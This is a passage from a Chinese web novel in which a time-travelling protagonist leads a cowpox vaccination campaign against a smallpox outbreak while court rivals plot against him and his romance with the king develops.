阮锦指着那道疤痕道:“这个,是我和九哥研究出来的预防天花……也就是虏疮疫病的方法。是接种牛痘疫苗,先让人感染牛痘,待到牛痘在人体内产生了抗体,自然就同样抵抗天花了。我不知道我这样说王上能不能听懂,就是说牛痘的病毒其实和人痘的……” 阮锦在那儿说了半天,渊夜昙却站在那里一动不动,仿佛被点了穴一般。 直到阮锦反应过来,对面的渊夜昙正眼睛一眨不眨的盯着他敞开的衣衫,胳膊以前脖子以下露出大片白皙的皮肤,皮肤上还有昨夜渊夜昙留下的片片痕迹。 两人荒唐的时候没觉得有什么,此时那皮肤上的青紫红痕可以用触目惊心来形容,以至于渊夜昙看到的时候,眉心皱的能夹子一只苍蝇。 阮锦顺着他的视线看了一下自己的胸口,有些尴尬的说道:“那个……嗨,就是看着吓人了点儿,其实一点都不疼。” 渊夜昙却拉住了他的手腕,问道:“伤成这样,为什么不和我说?来人,去叫徐太医过来!” 阮锦:……倒也没有这个必要……魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 120-130 第121章 渊夜昙却并没有理会他的抗拒,直接让人请来了徐太医。 徐太医看了一眼阮锦身上的伤,吓的差点儿把药箱扔到地上。 倒不是这伤有多重,主要是这些伤一看就知道是怎么弄出来的,甚至根本就不用看也不用治,只要多养上几天自然就会消退了。 只是施为的这个人力气比常人大不少,不光前胸后背都是些青紫的痕迹,腰间大腿以及小腿上更是有好几处掐痕。 看到这些痕迹的时候,渊夜昙有些心虚,他心想当时他并没感觉到自己用了多大的力气,现在看来自己的感觉应该和常人是不太一样的。 阮锦一脸尴尬的拢了拢外袍,说道:“徐太医,您就给我开点外涂的药就可以,这些伤就是表面上看着不好看,但其实没什么感觉。我天生碰瓷儿体质,一捏就会一片青紫,没几天就能好。” 徐太医更是笑的一脸尴尬,乐呵呵道:“伯爷您说的是,确实没有表面上看上去那么严重。我……我给您开点外涂的药,您每日涂一涂,不出三日便能好。” 阮锦点头:“好好好,有劳您了。” 徐太医颤抖着手开了药,让他那小徒儿去给阮锦拿药。 渊夜昙又问道:“他这身子总是青一片紫一片,是有什么隐疾吗?” 徐太医摆手道:“应是长年住在湿气重的地方,体内湿气重导致的。不过不是什么大问题,只要在渊都多待上些时日,自然会好一些。” 是哪个以元耳曾说过,他之前一直在海上待着,至少三年时间,想来应是与他在海上的水手生涯有关。 渊夜昙点了点头,说道:“那便再给他开些袪湿除寒的汤药吧!” 阮锦:…… 真的没这个必要,九哥说了,药是治病的,但也不能滥用,毕竟人体自身的抵抗才是基本。 徐太医也觉得没有必要,但既然王上要求了,他也只能开了些温补的药给这位元伯爷。 开完药后,渊夜昙才松了口气,仿佛还要再说些什么。 阮锦也终于看出他的想法了,说道:“王上,您是在担心我吧?我不是说过了,我已经打过疫苗了,根本不用担心。” 渊夜昙眸色沉沉,盯着他道:“你当真要去?” 阮锦点头:“我有把握。” “好。”渊夜昙忽然松开了他的手腕,转身走向御案,提笔蘸墨,在绢帛上写下一道手谕,而后盖上玺印,交给身旁的太监:“传孤旨意,命元郡伯为东城疫症钦差,持此令可调动东城四县兵马、府库,全权处置疫病防治事宜。四县县令、县尉及各僚属均要服从他的调遣!” 太监双手接过,恭敬地递给阮锦。 阮锦接过手谕,微微一愣。 渊夜昙竟给了这么大的权力? 他抬头,对上渊夜昙的目光,对方眸色深邃,隐隐含着一丝警告:“若你此行有半点闪失,孤必不饶你。” 说着最狠的话,心里有多不舍,只有他自己知道。 阮锦心头一跳,低声道:“臣定不负王命。” 有了这个差事,阮锦明日便不必上朝了,他带着豆沙包回去准备所需要的东西。 豆沙包倒是在宫里玩儿嗨了,几名小太监专门陪着他,上窜下跳可以说是玩得不亦乐乎。 就连端阳公主都得知了有个小淘气来了宫里,本打算亲自去见见的,谁料她过来的时候豆沙包却已经被阮锦带走了。 却从跟着的小太监那里得来了一个消息:“公主殿下别嫌奴儿多嘴,今日来宫里的那名小贵人,眉宇间可以说是与咱家王上长得一模一样。” 端阳公主心下一惊,问道:“你是说……这孩子极有可能是阿弟的?” 小太监摇头:“奴儿不敢说,奴儿也只是说了自己看到的。至于真相为何,殿下您也只能自行去探查了。” 端阳公主点了点头,唇角却忍不住勾了起来。 她心想,这一切就这么摆在眼前,阿弟就是不明白,他如果想把人带回宫,她这个做姐姐的是百分百会同意的。 就在端阳公主若有所思的时候,又看到徐太医拎着药箱匆忙从天行大殿那边往太医院的方向走。 端阳公主迎上前去问道:“徐太医,王上的身子又有哪里不舒服吗?” 徐太医怔了怔:“这……倒是没有,臣……一时间也不知从哪里开始说起。” 端阳公主不解道:“嗯?你就直说,我身为长姐,还是要多关心一下阿弟的身子的。” 徐太医摆手:“公主殿下,倒是和王上没什么关系……呃……也有关系。就是……那位刚刚受封的元伯爷,殿下可曾记得?今日王上叫臣过去给他看诊,臣……发现元伯爷身上有些痕迹……” 端阳公主皱眉:“痕迹?” 徐太医无奈,知道公主一直未成婚,可能不懂这些男女之间的□□。 他按了按太阳穴道,哎呀一声:“公主殿下还是亲自去问王上吧!莫不是宫里要添一位王后了。” 端阳公主:?????? 端阳公主心下一喜,转身便去找渊夜昙了,谁知一看到渊夜昙便见他愁眉不展。 端阳公主问道:“王上,您好似不太高兴?” 渊夜昙把阮锦的情况和她说了一下,第一次开始对一个人担心:“阿姐,我知道他是不想我为难。我既封他为伯,他便想做出个成绩来,让众宗亲挑不出理来。可疫病不是闹着玩儿的,就连徐太医都没听说过所谓的疫苗,你说元耳他能把这次的疫病治理好吗?如今东城四县已经死了上百人,一般这种疫病至少要死上几千上万人才能止息……” 端阳公主也皱起了眉头,说道:“这元耳本来就不是简单的人物,普通人,怎么可能在三年内做出富可敌国的产业?” 其实端阳公主没好意思提,元耳的产业可能比整个渊国要厚实,毕竟渊国的国库已经被他弟弟给浪没了。 见渊夜昙不说话,端阳公主又道:“阿弟,你就没想过这元耳的来历?他和你原本在桃花县的夫郎长得一模一样。而且他姓元名耳,这两个人组合在一起刚好是阮,你就没想过他们极有可能就是一个人?” 一层薄薄的窗户纸,就这么让端阳公主给捅破了。 捅的渊夜昙猝不及防,让他不得不面对:“阿姐,我又不是傻子。虽然我不聪明,这点端倪还是看得出来的。还有他身边那个孩子……” 包包和他长得那么像,怎么可能是他和别人生的? 只是他怕自己捅穿了这一切,阮锦他还是没办法回到自己身边,毕竟当初自己说走便走,是自己先抛弃了他们父子。 当初自己失忆,完全变成了另外一个人,他爱的也是那个与自己完全不同的人。 如今自己把那段感情忘了,哪怕对他有好感,又能不能说服他,让他放弃现在的家庭,回到自己身边? 就算自己不管不顾,把他从那个大夫的身边抢过来,可他甘心吗? 渊夜昙从来不是拖泥带水的人,他打起仗来向来杀伐决断,唯独在面对阮锦的时候拖拖拉拉。 端阳公主却不想自家阿弟好不容易开出来的桃花说凋零就凋零了,当天晚上她就派人去调查了元耳现在的情况。 不调查还好,一调查端阳公主也头疼了起来,她是真没想到,元耳如今竟然已经有了个夫君。 这他娘的,万年铁树开出的花,真就这么不了了之了吗? 关于这对姐弟的小动作,阮锦是不知道的,因为他已经准备好了行头,当天夜里便带着九大夫和迟麟迟大人派给他的一应医官卫队前往了东城四县。 临出发前,阮锦让九大夫在最快的时间里找到了患有牛痘的几头牛,还让跟着他一同出发的几人也进行了牛痘病毒接种。 只是接种产生抗体需要时间,所以阮锦在带他们离开之前一人发给他们一个口罩,并吩咐将那四县封住,周围设置岗哨,不允许一个人进出。 不论什么样的急事,哪怕人命关天,都必须要经过他的同意才可以。 将这一切安排停当后,阮锦才带着九大夫和医者护卫们一路疾行,抵达疫区。 还未进城,便见官道两侧搭起了简陋的草棚,难民横七竖八地躺在地上,浑身脓疮,痛苦呻吟,空气中弥漫着一股腐烂的气味,令人作呕。 随行的副手医官上前道:“伯爷,情况比预想的更糟。东城县已有三成百姓染病,且每日新增病例近百,再这样下去……” 阮锦皱眉,问道:“县衙的人呢?” 副手面露愤色:“县令和县尉早躲进了内城,只派了几个衙役在外维持秩序,根本不敢靠近疫区。” 阮锦冷笑一声:“果然。” 他翻身下马,径直走向最近的一处草棚。 草棚内的病人见有生人靠近,惊恐地向后缩了缩,颤声道:“别、别过来……会传染的……” 阮锦蹲下身,温和道:“别怕,我是朝廷派来治病的。” 他伸手探向病人的脉搏,又检查了其身上的脓疮,确认是天花的症状后,从怀中取出一个小瓷瓶,倒出一粒药丸:“先服下这个,能缓解高热。” 病人迟疑地接过,吞下药丸。 阮锦起身,环顾四周,高声道:“所有人听令!从现在起,东城县实行分区隔离,未染病者住东区,轻症住西区,重症单独安置!县衙即刻开仓放粮,另调集干净布匹、清水,供病患使用!” 副手愕然:“伯爷,这……” 阮锦沉声道:“去办。” 九大夫也已经下了马车,逐一给躺在茅草棚里的病人们发放着药丸。 而此时的长兴侯府,长兴侯和齐颂声都露出了疑惑的表情,长兴侯道:“牵了几头母牛进疫区?这……这是何道理?难道他们要杀牛祭天不成?” 齐颂声冷笑一声,说道:“管他杀不杀牛,他一个乡野来的哥儿,怎么可能懂什么抗疫之策?我看,他也就是想在王上面前搏一个出位。殊不知这疫病若是没弄好,那可是要掉脑袋的。” 长兴侯却道:“那也是不得不防的,为父派了一个细作跟在他身边,看看他到底在弄些什么。如果他真没什么本事,那再好不过,让他想办法死在那里便好。如果他手上握着什么了不得的东西,那我们也不能让他活着回来!姓元的如果活着回来,不论对谁都不是什么好事!” 宗亲已经找过他很多次了,本来今天的早会他们已经商量好了,一起弹劾那个叫元耳的,只要王上一天不回心转意,他们便弹劾一天。 谁料却发生了疫病的事,还没等他们出手,那个元耳便自己送上门去了。 这对他们来说,可是天大的好事! 齐颂声开心的挽住了长兴侯的胳膊,说道:“还是父亲想的周到!” 长兴侯苦口婆心道:“声儿,你也不要一直等着为父为你铺路。他元耳都知道在王上面前表现,你自也是不能落下的。整天躲在家里生气,又有什么用呢?还是得让王上看见你啊!” 齐颂声却十分自信的说道:“父亲您安心,王上明日要去西大营巡兵,我已经和那边的李将军打好招呼了。将士们训练不易,我会带着几名世家哥儿去劳军。我们准备给将士们好好做顿饭,再献上我们最拿手的技艺,王上一定会高兴的。” 长兴侯满意的笑了起来,点头道:“很好,很好,吾儿长大了。” 此时的阮锦却已经开始忙碌了起来,他昨夜忙到子时,却在卯时便爬起来,为这边的百姓将污水过滤干净,以供他们馋用,防止二次感染。 还用硝石制了一些冰,为发烧的百姓降温。 九大无则将隔离开的未有感染的病人集合到了一处,为他们实施了牛痘接种。 几名医官都颇为不解,从九大夫牵了几头病牛过来起,他们就觉得此人的做法有违常理了。 甚至有一名医官十分看不惯的说道:“这位九大夫,你这不是在胡作非为吗?你这么干,万一出了大事,难道让我们这些人和你一起担责不成?” 九大夫此时已经忙的焦头烂额,这些人不忙也就罢了,还在这里添乱,九大夫手上忙碌着,说道:“没事,出了任何事,我一个人担责。” 那人却道:“你不过是个民间乡野大夫,能担得起任何责吗?更何况你现在虽然说得好听,如果到时候真出事了,连累的可是咱们伯爷。” 九大夫没再理会那人,那人却一把夺过了九大夫用来给未感染者接种的手术刀,把九大夫的手指割破了。 九大夫下意识嘶了一声,皱眉道:“你是来帮忙的还是来添乱的?我是伯爷亲点的首席医官,如果你不想帮忙,大可以离开这里!何必跑来惹事?” “我惹事?”那医官一脸傲慢的说道:“在坐的所有医官都看到了,你把母牛身上的痘毒抹到人身上,说是这样能抵抗疫病。大家都是医官,对于这样的事,可曾见过?” 众人面面相觑,别说见过,他们连听都没听过啊! 九大夫也不知道该如何给他们讲解,只道:“牛痘与人痘,理论上是同一种病毒。这种病毒都是得一次,就会自动产生抗体。人接种了牛痘,感染了牛痘病毒,这种病毒较轻,可以自愈。再遇人痘,便不会再被感染了!” 那医官却一把推开九大夫,说道:“妖言惑众!你们信他?你们也信他?” 医官们一个个也不知道该说什么好,因为他们确实没听说过。 被隔离在此处的百姓也傻眼了,其中刚刚被接种的那种村民起身道:“这位九大夫,我们本以为你是王庭派来抗疫的医官,谁知你却只是个民间大夫。你既不是医官,为什么还要给我们瞎治?你千万不要害我们啊!我们可没有被感染,万一被你这牛身上的脓毒给害死了,我们……可怎么办啊!” 第122章 九大夫的手指被割伤,鲜血滴在地上。 他深吸一口气,强压怒火道:“诸位不信,我理解。但若你们再阻挠我接种,等疫病蔓延,整个东城县将无一幸免!” 那带头闹事的医官冷笑:“少在这里危言耸听!” 他转向百姓:“大家听好了,这人根本不是朝廷派来的医官,而是个江湖游医!他拿牛痘害人,恐怕是想拿你们试药!” 终于,人群在他三言两语的挑唆之下骚动了起来。 有人捡起地上的石块,怒视九大夫:“滚出去!我们不要你治!” 局势眼看就要失控,阮锦突然大步走来,身后跟着几名披甲执锐的护卫,他冷冷扫了一眼那闹事的医官,直接下令:“把他给本伯爷绑了。” 为首的一名将军上前,吩咐手下道:“还愣着干什么呢?王上手谕,一切听元伯爷的调遣!” 两名护卫立刻上前一把按住那医官,医官挣扎大喊:“元伯爷!你这是干什么?我可是太医院派来的!” 阮锦目光如刀锋一般看向那人,道:“哦?你当真是太医院的?”他从怀里掏出一份名册,翻开后冷声道:“东城县抗疫医官名单里,可没有你的名字。” 医官脸色一变,结结巴巴道:“我、我是临时调来的……” 阮锦懒得再听,示意护卫:“带去隔壁审问,看看是谁派他来捣乱的。” 医官被拖走时还在大喊:“伯爷!你不能这样!我……我只是不愿看百姓被坑害啊!” 阮锦不再理会那人,转身对百姓们道:“诸位乡亲,我元耳以性命担保,牛痘之法确实有效。若你们不信,我可先在自己身上示范。” 说罢,他卷起袖子,露出白皙的手臂。九大夫皱眉:“阮锦,你已接种过,不能再种第二次。” 阮锦却不是很在意的说道:“无妨,再接种一次也没什么。只是,我已经接种过一次了,这病毒对我无效了。不光我接种过,跟随我前来的所有将士也都接种过。” 这件事是他在出发前那个晚上亲自跑去军营为大家接种的,就连九大夫都不知道。 他接过银针,在牛痘浆液里蘸了蘸,毫不犹豫地刺向自己的手臂。 百姓们惊呼一声,眼睁睁看着那针尖刺破皮肤,留下一道细小的血痕。 阮锦放下袖子,朗声道:“三日后,若我无事,便证明此法可行。诸位可愿再等三日?只不过,疫病在前,只是不知道这三天,又会有多少人被传染啊!大家都知道牛痘是很轻微的病毒,牛感染了是不会致命的。天花却不一样,它的致死率极高。如果你们信得过我,大可以在此处接种。信不过我的,那便等上三日吧!” 说完,阮锦便转身离开了临时接种区,出门继续忙别的事。 倒是为首的那名将军留了下来,抱臂仿佛门神似的站在那里,朝九大夫挑了挑下巴道:“我说,这个九什么的,你继续给他们接种,我看谁还敢闹事儿!” 九大夫抬头看向那人,当即皱起了眉头,失声道:“哦,竟是你!” 他不就是那日在迟大人府上骂他哥儿唧唧的那个人吗? 再说,他本来就是哥儿,哥儿唧唧的怎么了? 蒙铎将军啧了一声,说道:“我怎么了?我有什么问题吗?” 九大夫冷声道:“没什么问题,但我在忙,你出去守着吧!” 蒙铎:…… 他一脸郁闷,心想王上都没如此吩咐过本将军!今日让你这个南越来的小白脸儿吩咐了! 罢了,我堂堂北越男儿,能跟一个南越来的小白脸儿计较吗? 那肯定不能! 于是他乖乖的去门外守着了。 当夜,隔离区外的临时营帐内。 阮锦刚脱下外袍,就听见外面传来急促的脚步声。九大夫掀帘而入,脸色凝重:“审出来了,那医官是长兴侯安插的人。” 阮锦眸色一沉:“果然。” 九大夫走到他身边,低声道:“还有一事不妙。长兴侯已派人去京城散播谣言,说你用邪术害人,还说你故意拖延抗疫,导致疫病蔓延。” 阮锦冷笑:“他这是要借舆情逼王上撤我的职?” 九大夫点头:“不仅如此,他还在王庭之中联络了几位宗亲,准备联名弹劾你。” 阮锦沉默片刻,忽然问道:“九哥,你觉得……王上是信我,还是信长兴侯?” 九大夫深深看了他一眼:“你心里不是已经有答案了吗?” 阮锦垂下眼睫,临行前渊夜昙给了他全权调兵的权力,甚至不惜与宗亲对立,这已是最明确的信任。 “不管他信不信,东城四县的百姓,我救定了。”阮锦握紧拳头,“三日后,牛痘接种见效,谣言自会不攻自破。” 本以为接种的事要等到三天以后才能正常运作,谁料事情还没到三天,竟然有百姓自发前来接种牛痘。 阮锦十分意外,问道:“大家……就不想再观望观望了吗?” 一名为首的长者说道:“元伯爷为了救我们这些百姓,甚至自己给自己身上刺了牛痘针,我们还有什么不放心的?伯爷的命,可比我们这些老百姓的命值钱多了。我身为村中耆老,特意带了全村老小过来。能在这疫病中活下来,伯爷您便是我们的救命恩人,若是活不下来……那也只能是我们命该如此。” 阮锦十分感动,朝那耆老躹了一躬,说道:“多谢老人家的信任,元耳,定不会让百姓们失望!” 接种的百姓,一时间从街着排向巷尾,这里是无感染区,感染区已经被封在了谷舱区域,以避免聚集感染。 西大营区,齐颂声带着一众世家哥儿从早晨便开始忙碌了,他们排演节目排演了好久,今日更是带了各种珍馐美味,当场做了一顿大餐摆上了餐桌。 军营的战士们乐得有人来劳军,便开开心心的吃吃喝喝了起来。 为首的副将对齐颂声他们这些哥儿千恩万谢:“哎呀真是好久没吃这么舍了服了,不知道节目什么时候开始啊?咱们也是好久没看到过表演了。” 尤其是没见到过哥儿了,倒也没什么色心,就是想养养眼。 齐颂声心不在焉的答应着:“要……要等晚一点呢,赵将军,怎么就只有您和几名小将军在呀?蒙将军他们呢?” 副将答道:“哦,蒙将军被王上临时安排了别的任务,倒是蒙玉将军在,齐小公子要见见他吗?” 齐颂声当即摆手:“算了算了,还是……算了。” 蒙玉那个煞神,还不如他哥哥好相与! 齐颂声又问道:“不是说王上今日要来巡视西大营吗?都已经快午时了,他怎么还没过来呢?” 副将尴尬的笑了笑,也摇头道:“那本将军便不知了,王上的确说过今天过来劳军,兴许……是下午才过来?毕竟这会儿也太热了,王上可能怕热!” 齐颂声心想,王上可是个水里来火里去的性子,何时怕过热? 不过罢了,反正他有的是时间,也不差这一会儿。 只是这一会儿,便等到了天色擦黑,终于等来了王上今日不过来的消息。 齐颂声也没有表演的心情了,直接扔下了一众在台上弹唱歌舞的世家哥儿,转身便带着手下离开了西大营。 一坐上马车他便气的跺脚,心想王上也真是的,说不来便不来,还等到了晚上才通知,白白让他等了一天。 一旁的随侍哥儿劝道:“少爷您别难过,今日王上虽然没有来,东城疫区那边倒是传来了好消息。” 齐颂声问:“什么好消息?难不成是那元耳被传染了疫病不成?” 侍从答道:“那倒不是,听说那元耳用一种邪术来对抗疫病,引起了百姓们的抗议,据说大家都闹着要撤掉他抗疫总指挥的身份呢。” 齐颂声冷哼一声,心情稍微好了一点:“我就说吧!他一个乡野哥儿,懂什么抗疫防疫?只不过,眼下除了他,谁还敢接这副烂摊子?呵,不如让他去折腾。” 侍从道:“少爷您这就不懂了,老爷是在为日后的事情造势呢。您看,他没把事情办好,抗疫不成,反倒搞些歪门邪道。王上铁了心让他办这件事儿,咱们侯爷和宗亲们都是不答应的。这若是日后他把差事给办砸了,那不就得让他双倍的付出代价?” 齐颂声终于笑出了声:“那倒是,还是爹爹想的周道。” 远方星河飘渺,此时的阮锦已经累的抬不起胳膊了,他一头扎进临时营帐内的简易行军床上,一边碎碎念道:“我让你再大包大揽,累死你得了!啊啊啊,好久没干这么多活儿了!费体力也就算了,还如此耗费精力!我自己在这儿干着脏活儿累活儿,外边儿还造我的谣!真是没天理了!” “谁造你的谣了?” 一个声音猛然在寂静的临时营帐内传来,吓的阮锦嗷呜一声窜了起来,便看到角落里一个黑暗高大的身影正朝他走过来。 阮锦手上按住那木蝴蝶,说道:“你你你你什么人?再往前一步,我我我我我可就对你不客气了!!!” 直到对方走到灯烛前,一张英俊的脸孔出现在光亮中时,阮锦才一脸惊讶的喊了一声:“王上?” 渊夜昙赶紧上前捂住他的嘴,低声道:“你能不能别嚷嚷?是想让整个营区的人都知道孤来这里了吗?” 阮锦把他的手扒拉下来,压低声音道:“您也知道自己不该来啊?这里是什么地方你就瞎跑?满镇子都是天花病人!被传染上了可是得要命的!” 渊夜昙声线沉冷的说道:“你也知道被传染上了是要命的?那你为什么还要上赶着跑来抗疫?” 阮锦啧了一声:“我不是说过了,我打过疫苗……等等,疫苗!你在此处给我老实待着,哪里都不许去!” 说着他转身跑去了外面,借着月色在牛肚子上戳了一针,回来后又撸起渊夜昙的袖子,给他戳了一针。 渊夜昙皱了皱眉,问道:“这就是你说的那个什么疫苗?” 阮锦嗯了一声:“是牛痘疫苗,免疫系统很聪明,标记病毒的方法是记宗亲。就像王上您一样,喜欢玩儿九族消消乐。一般只要这一家子里有一个人被标记了,剩下的病毒九族都能免疫了。” 听阮锦这么一解释,渊夜昙就明白了,随即他又皱起了眉,问道:“什么叫孤喜欢玩儿九族消消乐?孤何时玩儿过九族消消乐?” 阮锦:“……呃……那个……王上您……可能是误会了下臣的意思,下臣的意思是……呃……” 渊夜昙冷哼一声:“你不用解释了!孤知道,孤在外面的名声不好,想必他们也没说过孤的什么好话吧!” 阮锦干笑一声,老老实实答道:“就……就说王上您喜欢杀大臣,还喜欢诛别人九族。” 渊夜昙以手拂额,生平第一次解释道:“我这一生只杀过四个大臣。一个是因为那时我刚刚称王,有个宗族欺我年少,便想方设法的压我一头。那个时候整个朝堂上有一半的大臣都与此宗族为伍,若是我吩咐一件事,他不开口,我便无从下手。” 阮锦张了张嘴,心想少年帝王,的确很难,如果是自己的话肯定也会杀了他。 渊夜昙接着道:“我便当庭杀了他,血溅了满王庭。另外还有两人,站出来指责我,我也同样杀了。不光杀了他们三个,还在一个月内清洗了朝堂,把所有与此宗族相关联的官员全部下了大狱。虽不至于诛连九族,但王庭之上的确不再允许这个宗族的所有族亲为官。” 一开始他当上这个王,只是为了不再受制于人,谁料当上了王,还是要受制于人,不光要受制于人,还要看这些宗族的眼色行事。 仿佛一言不合,这些宗族就要把他从那王座之下推下来。 渊夜昙觉得自己并没有什么太多计策谋划,他坐上这个王位,纯粹是因为能打。 所以如果有宗亲企图闹事,他也只想杀了了事。 阮锦其实知道,渊夜昙并不是杀戮之心特别重的人,如果自己从小生活在这样的环境之下,怕是早就被逼疯了。 而那个时候,也确实不适用于各个击破这种筹谋,九族消消乐确实是最好用,且见效最快的一个方法。 阮锦看着渊夜昙的眼睛道:“王上,您不必解释这么多,臣……理解的。” 渊夜昙也看向了阮锦,问道:“是吗?你能……理解孤?” 阮锦轻轻点了点头:“你以无援之势成功登上王位,又以狂澜之势一统整个中原,没有些雷霆手段,怎么可能做得稳这个位置?” 两人对视着,直到阮锦觉得渊夜昙似乎对他有什么想法的时候,那人才低低的说了一句:“我何时一统中原了?” 阮锦猛然回过神来,心想糟糕了,一不小心把未来的事给说出来了…… 第123章 “呃……” 黑暗里,阮锦一时间不知该如何作答,他支支吾吾半天后才道:“我的意思是说……王是英勇神武,一统中原是迟早的事!这不是……理所应当的吗?” 渊王狐疑的看向他,心中似有怀疑,却也没多问什么。 阮锦赶紧岔开话题:“王上深夜来这里,是有什么重要的事吗?” 渊王沉声答:“没什么,只是过来看看元伯爷。” 阮锦却有些生气了:“胡闹!这里是疫区,王上就这么跑过来,万一传染上了天花,那岂不是小命不保?” 渊夜昙知道此事自己理亏,不知道该如何反驳,便沉着一张脸道:“你是如何跟孤说话的?小心孤治你个大不敬之罪。” 阮锦膝盖一软跪了下来,说道:“王上饶命,下臣不敢了。” 渊主作昙:…… 他上前一把将阮锦拉了起来:“以后在孤面前,元伯爷可以不必跪。” 阮锦心想那再好不过了,确实下起跪来有些不习惯。 他上将把灯烛挑了挑,招呼道:“王上,我看看你刚刚接种的位置怎么样了。” 渊夜昙撸起自己的袖子,问道:“所以你刚刚给孤扎的那一针,便是在接种什么疫苗?” 阮锦嗯了一声:“这叫牛痘疫苗,可能会有点反应,但是王上不要怕,最多也就发点烧。” 渊夜昙哦了一声,脑子里不知道在想些什么。 这时,帐篷的门帘突然被掀开了,九大夫的声音传来:“你刚刚吩咐的事我已经让人办妥了,谣言已经传出去了,明日起整个京城都会知道,你这边因为防疫不利而死了几千……人……” 一大串儿的话没说完,九大夫便看到了阮锦的帐篷里多了一个人高马大的人。 渊夜昙心虚的看向了九大夫,刚要解释些什么,便见九大夫仿佛老鼠见了猫一般转身就往外走,边走边道:“我什么也没看见!” 阮锦:…… 待九大夫走后,阮锦清了清嗓子,说道:“那个……我可以解释的……” 他之所以去传自己的谣言,就是想让自己这边显得乱一些,他挖掉了长兴侯安插在这里的钉子,得不到任合消息的长兴侯极有可能会再派人进来捣乱。 与其等他派人进来捣乱,还不如先按下这个钉子不表,让他传一些似是而非的假消息出去,再让人在外面肆意传播。 反正等到他把疫情控制住,什么样的谣言都会不攻自破。 渊夜昙却按住了他的手,说道:“不必解释,我知道长兴侯的为人,自然也知道你的目的。本来就是想让你帮我对付长兴侯的,你做什么,都是孤赋予你的权力。” 阮锦不知道该高兴还是该不高兴,虽然不是因为信任,但对有被他利用的价值也算是一种优点吧! 渊夜昙却有些急了,他解释道:“孤……不是那个意思!我的意思是说,你可以放手去做,一切有我……” ……兜底。 但是这么说,是不是也没什么立场? 阮锦点了点头,说道:“我明白,王上,不如我带您去个地方?” 渊夜昙不知道阮锦要带他去哪儿,但并不重要,他还挺喜欢和阮锦单独待在一起的感觉的。 阮锦转身提起一盏素纱灯笼,昏黄的光晕在他指尖跳跃。 夜风带着些许凉意,吹得他鬓边碎发轻扬,渊夜昙解下自己的墨色披风,不由分说地裹在了阮锦肩上。 “王上?” “无事,带路。” 两人避开巡逻的士兵,沿着后山小径拾级而上,阮锦的指尖偶尔蹭过渊夜昙的手背,像羽毛般轻软。 半山腰处有棵百年老松,虬枝横展如伞盖,树下竟摆着个简陋的藤编秋千,显然是有人常来此处。 “这是?” 阮锦答道:“第一天来的时候也非常紧张,一晚上也没怎么睡,便爬到了这山上来想放松一下,偶然间发现了这个地方。” 阮锦笑着坐上去,秋千发出吱呀轻响:“防疫这些天,每晚都要来这儿喘口气,偷得片刻的轻闲。” 渊夜昙望着远处连绵的灯火,隔离区的篝火像一条金线,将东城县分割成明暗两半,更远处是王都的轮廓,皇城角楼上的风灯仿佛星辰般闪烁。 “孤小时候,”帝王突然开口,“也经常爬上天文台的屋顶看星星。” 阮锦惊讶地转头,灯笼的光映得渊夜昙侧脸格外柔和。 “那时候先王总说,帝王不该有这些无谓的嗜好。”他自嘲地笑了笑,“后来我把天文台拆了,改建成了演武场。” 夜风送来山下的梆子声,阮锦鬼使神差地抓住了渊夜昙的衣袖:“王上请看!” 北斗七星正悬在松枝间,勺柄指向东方。 渊夜昙顺着他的手指望去,突然发现阮锦耳垂上有颗小小的红痣,在月光下像粒朱砂,若隐若现,煞是好看。 阮锦的声音轻得仿佛叹息:“在我们老家有个传说,说是你死去的每个亲人,都会变成天上的星星,每时每刻都在注视着你……” 他的话音戛然而止,渊夜昙的指尖正擦过那颗红痣,带着习武之人特有的薄茧。 松针沙沙作响,惊起几只夜栖的山雀。 阮锦激灵了一下,渊夜昙却忽然没头没尾的问了一句:“疼吗?” “什么?” 阮锦不解。 渊夜昙指了指自己手臂上的针痕:“接种的地方。” 阮锦忍不住笑出声:“王上现在才问疼不疼,是不是太晚了点儿?” “孤是怕你……”渊夜昙话到嘴边又咽了回去,改口道:“医术不精!” 因为他确实感觉到疼了,不光疼,还有点不舒服,说不上来哪里不舒服,反正就是不太舒服。 阮锦拉着他坐到秋千椅上,也跟着坐到了一边,说道:“疼是肯定会有些疼的,但和天花的病情比较起来,这点疼痛不算什么。” 渊夜昙嗯了一声,这时,突然一颗流星划过夜空,阮锦赶紧接着他的手道:“快快快,是流星!快许愿!” 说完阮锦双手合十低声碎碎念着,再睁眼时,流星已经不见了。 渊夜昙一脸无语的看着他,问道:“为什么要对着流星许愿?流星就像昙花一样转瞬即逝,你希望你的愿望也像流星一样吗?” 阮锦道:“这你就不懂了,正是因为流星转瞬即逝,所以才更加珍贵。抓住这一瞬间的美好,就能得到永恒的幸福。” 虽然渊夜昙听不懂阮锦二十一世纪的浪漫,但他很喜欢他带给自己的美好感受。 奇怪的是,虽然他们已经做过两次了,此时的他却没有任何要触碰和亵渎他的想法,只要能这样在他身旁静静坐着,就已经让渊夜昙的心可以安安定定的平静下来。 两人看星星看到半夜,回来的时候,阮锦让了一半床给那霸道的帝王。 因为对方不许他去找九大夫,更不让他睡地上,只能紧挨在一起睡在一张只有一米的行军床上。 但两人都睡的还行,尤其是阮锦,抗疫这些天,他一直没能睡好,昨夜却睡的很踏实,一夜都没醒。 直到天光透过营帐的小窗照进来的时候,阮锦才猛然睁开眼睛,心想糟糕糟糕睡过头了。 他口中埋怨着:“王上,你怎么也不知道叫我一声?你该不会是也没……” 阮锦转过头去,只见那位王上面色不正常的潮红,呼吸有些粗重,正在他身旁一脸脆弱的看着他。 阮锦:??? 他试探着上前摸了摸他的额头,吓的赶紧缩回了手,骂了声粗话:“操,怎么烧起来了?烧起来了你也不知道和我说一声?” 渊夜昙嗓音沙哑道:“你是怎么和孤说话的?” 阮锦:……私密马赛,习惯用这种语气和阿蛮讲话了捏。 他一边往外走一边道:“那个,我去给你备些药,你先在这儿躺着。别乱动啊千万别乱动,接种疫苗发烧是正常的,不用紧张……” 渊夜昙:……我一点都不紧张,我看紧张的是你吧? 发烧了,甚好,刚好孤可以在这里多赖几天。 阮锦跌跌撞撞冲出营帐,差点撞翻正在煮药的九大夫,药罐里的褐色汁液翻腾着,散发出苦涩气味。 “快!快!他发烧了!快给他熬一碗退烧的药!”阮锦着急的有些语无伦次,拉着九大夫语速飞快的说着。 九大夫一脸无语,把他扶稳了才道:“谁发烧了?你别着急慢慢说。” “是……是王上,我给他接种了疫苗……他发烧了!” 九大夫手中的药匙当啷一声掉在地上,他猛地拽着阮锦退到树后,压低声音道:“你疯了?让王上接种牛痘?更疯的是他居然真让你扎?” “现在说这些有什么用!”阮锦急得跺脚,“快拿退热药来!” 